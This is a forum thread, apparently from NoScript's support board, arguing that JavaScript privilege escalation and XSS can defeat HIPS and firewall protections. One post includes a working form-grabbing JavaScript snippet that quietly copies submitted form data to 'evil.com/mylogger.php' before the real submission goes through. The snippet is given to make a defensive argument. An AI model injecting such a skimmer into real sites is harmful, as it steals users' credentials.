Aspirant wrote:Giorgio Maone wrote:Furthermore, many privilege escalation vulnerabilities in the browser can be exploited without any executable code injection: you just need to find a way for your Javascript code itself to gain chrome privileges (i.e. act with the browser's own permissions), and it's game over: no binary code gets injected anywhere, but your script can do anything your browser do, including sniffing your passwords and log them to a remote location bypassing your firewall (since the browser process is likely in your outbound whitelist, isn't it?). No Comodo product can save you from this kind of attack.
Yes, Firefox is in my outbound whitelist for the firewall. However, I store all passwords in RoboForm, where they are in encrypted form. The user enters the master password with the mouse using an on-screen keyboard, so keyloggers are ineffective.
Who said "keyloggers"? I wrote "sniffing" and you read "keylogging", maybe because the commercial security industry has shaped our minds into perceiving what matches their offerings only. Reality is quite different, unfortunately.
A malware driving the browser chrome via Javascript privilege escalation would be very stupid and masochistic in behaving like a traditional keylogger (i.e. hooking the keyboard directly).
No matter if you use Roboform, handwriting or telepathy to fill your forms, the form has to be filled and sent at some point, and a browser-based malware can read its content at the DOM level. Actually, it doesn't even need any sophisticated code, just a tiny Javascript snippet injected in page (even through simple XSS, with no browser vulnerabilities involved):
- Code: Select all
for (var j = document.forms.length; j--> 0;) with(document.forms[j]) {
_onsubmit = onsubmit;
onsubmit = function() {
var originalForm = this;
var evilTwin = originalForm.cloneNode(true);
evilTwin.onsubmit = evilTwin._onsubmit = null;
with(evilTwin.style) position = "absolute", top = "-5000px";
evilTwin.action = "http://evil.com/mylogger.php";
var f = document.createElement("iframe"); // use a frame as the target, so page doesn't change
f.setAttribute("name", evilTwin.target = "evil_frame");
f.onload = function() {
evilTwin.parentNode.removeChild(evilTwin);
var myOnsubmit = originalForm.onsubmit;
originalForm.onsubmit = originalForm._onsubmit;
originalForm.submit(); // after loggin all the data, submit to the original destination
originalForm.onsumbit = myOnsubmit;
}
evilTwin.appendChild(f);
document.body.appendChild(evilTwin);
evilTwin.submit();
}
}
Furthermore, if you've got chrome privilege, you can intercept the interesting data at a later stage, e.g.
- While it's being extracted from the form by the browser
- While it's being serialized, before hitting the wire
- While it's being written in the output stream (no matter if it's HTTPS, the encryption happens after you told the SSL module what data it has to encrypt)
Aspirant wrote:Thus, for us, opening and closing Firefox a few times a month for finances is more convenient than whitelist training and the extra clicks needed for JavaScript default deny.
Yes, until your financial website gets hacked, as just happened during last weekend to poste.it, the public postal service and largest private banking entity in Italy:
http://twitpic.com/l070iOf course in this case it was just a very noisy demonstrative defacement, but if I was after the money I would be much subtler and stealthier than this, injecting just the script above or something like that as an almost unnoticeable remote inclusion and waiting for people to login, giving away their credentials

Incidentally, there's how all the "Mass SQL Injection" attacks worked so far, and they're neutered by NoScript because the remote payload (usually from a complacent anonymous Russian or Chinese host) is not whitelisted.
Giorgio Maone wrote:As I stated above, Javascript doesn't need to download malware
executable to own your valuable data.
Given the proper (common) vulnerability, it can just drive your browser with chrome privileges to perform its malicious activity: no HIPS will block it, because no HIPS tags your browser process as malware.[/quote
Giorgio Maone wrote:Have you tested and studied a recent version of Comodo's Defense+ HIPS?
Yes, I did. I've got it installed on my XP box mainly for firewalling and DEP-surrogation purposes.
Just pick any of these
privilege escalation vulnerabilities, exploit them against a non-patched, scripting enabled Firefox version an watch your HIPS failing miserably.
Giorgio Maone wrote:interprocess memory access, Windows/WinEvent hooks, process terminations, device driver installations, Windows messages, protected COM interfaces, protected registry keys, protected files/folders, loopback networking, physical memory and disk. Other than the small whitelist for each access right (specific for Firefox), I only default-allow Firefox the following access rights: DNS client service, computer monitor and keyboard.
As you can see, all these protection measures are meant to isolate processes from each other and unkown processes from the system.
A privilege escalation vulnerability in the browser can't be detected by any of these features, and from then on the browser itself (which is whitelisted) is your enemy.
Giorgio Maone wrote:Does what you said apply to this configuration of Defense+? If so, could you clarify at least one vulnerability?
It should be clear enough by now. I linked many suitable vulnerabilities above, and also provided sample code for a realistic attack.
I hope it's enough for you, because I can't provide live exploits against undisclosed vulnerabilities for obvious ethical reasons.
Back to work now.
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)